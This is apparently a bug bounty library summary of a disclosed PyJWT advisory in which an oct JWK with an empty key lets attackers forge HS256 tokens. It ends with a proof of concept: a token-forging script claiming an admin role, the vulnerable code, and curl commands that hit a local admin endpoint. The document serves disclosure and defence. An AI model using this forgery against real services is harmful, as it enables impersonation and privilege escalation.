# PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery

PyJWT's HMACAlgorithm.from_jwk accepts an oct JWK with empty k, so PyJWK/PyJWKClient verification accepts attacker-forged HS256 tokens signed with an empty key.

- Payout: Research
- Severity: high
- Program: PyJWT
- Found by: tonghuaroot
- Disclosed: 2026-10-22
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pxh4-856f-4h89
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pxh4-856f-4h89
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:high tech:jwt tech:python technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:crypto

**Target:** PyJWT HMACAlgorithm.from_jwk / PyJWKClient JWKS verification
**Root cause:** HMACAlgorithm.from_jwk base64url-decodes obj['k'] without a zero-length check, so an oct JWK with k="" yields b""; _verify_signature uses PyJWK.key directly, bypassing prepare_key's empty-key guard, and the length warning is non-fatal by default.
**Steps:**
1. Publish/trust a JWKS with `{"kty":"oct","k":"","kid":"auth-signing-2026","alg":"HS256"}` (e.g. SIGNING_SECRET unset).
2. Forge header `{"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}` and payload `{"sub":"attacker@evil.example","role":"admin"}`.
3. Compute `HMAC(key=b"", signing_input, sha256)` locally and append base64url signature.
4. Send `Authorization: Bearer <forged>` to a resource server using `PyJWKClient.get_signing_key_from_jwt` + `jwt.decode`; verification succeeds with only an InsecureKeyLengthWarning.
**How found:** Noticed the 2.13.0 empty-key guard added to prepare_key was never propagated to the sibling from_jwk code path; the existing test only covered empty JSON `{}`, not an oct key with empty k, leaving the JWK/JWKS route as the untested sibling.
**Exploitation:** Unauthenticated attacker controls the bearer token; kid selects the empty-k oct JWK from the trusted JWKS, signature computed locally with empty key, token flows through PyJWKClient resolution into _verify_signature and HMAC verify with b"", yielding arbitrary claims (role:admin) and full impersonation.
**Escalation:** Arbitrary claims (role:admin, arbitrary sub) give privilege escalation on any endpoint gated by such tokens.
**Insight:** When a library adds a validation guard to one key-loading path (string/bytes prepare_key), check every sibling key-material path (from_jwk, PyJWK, PyJWKSet, PyJWKClient) for the same invariant; also check whether length checks are warnings vs errors by default.

## Proof of concept (copied exactly from the original report)

**Attacker forge script signing with empty HMAC key**

```
import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"attacker@evil.example","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b""   # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))
```

**Vulnerable from_jwk returning empty key**

```
if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection
```

**End-to-end run commands and forged token**

```
python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users
```

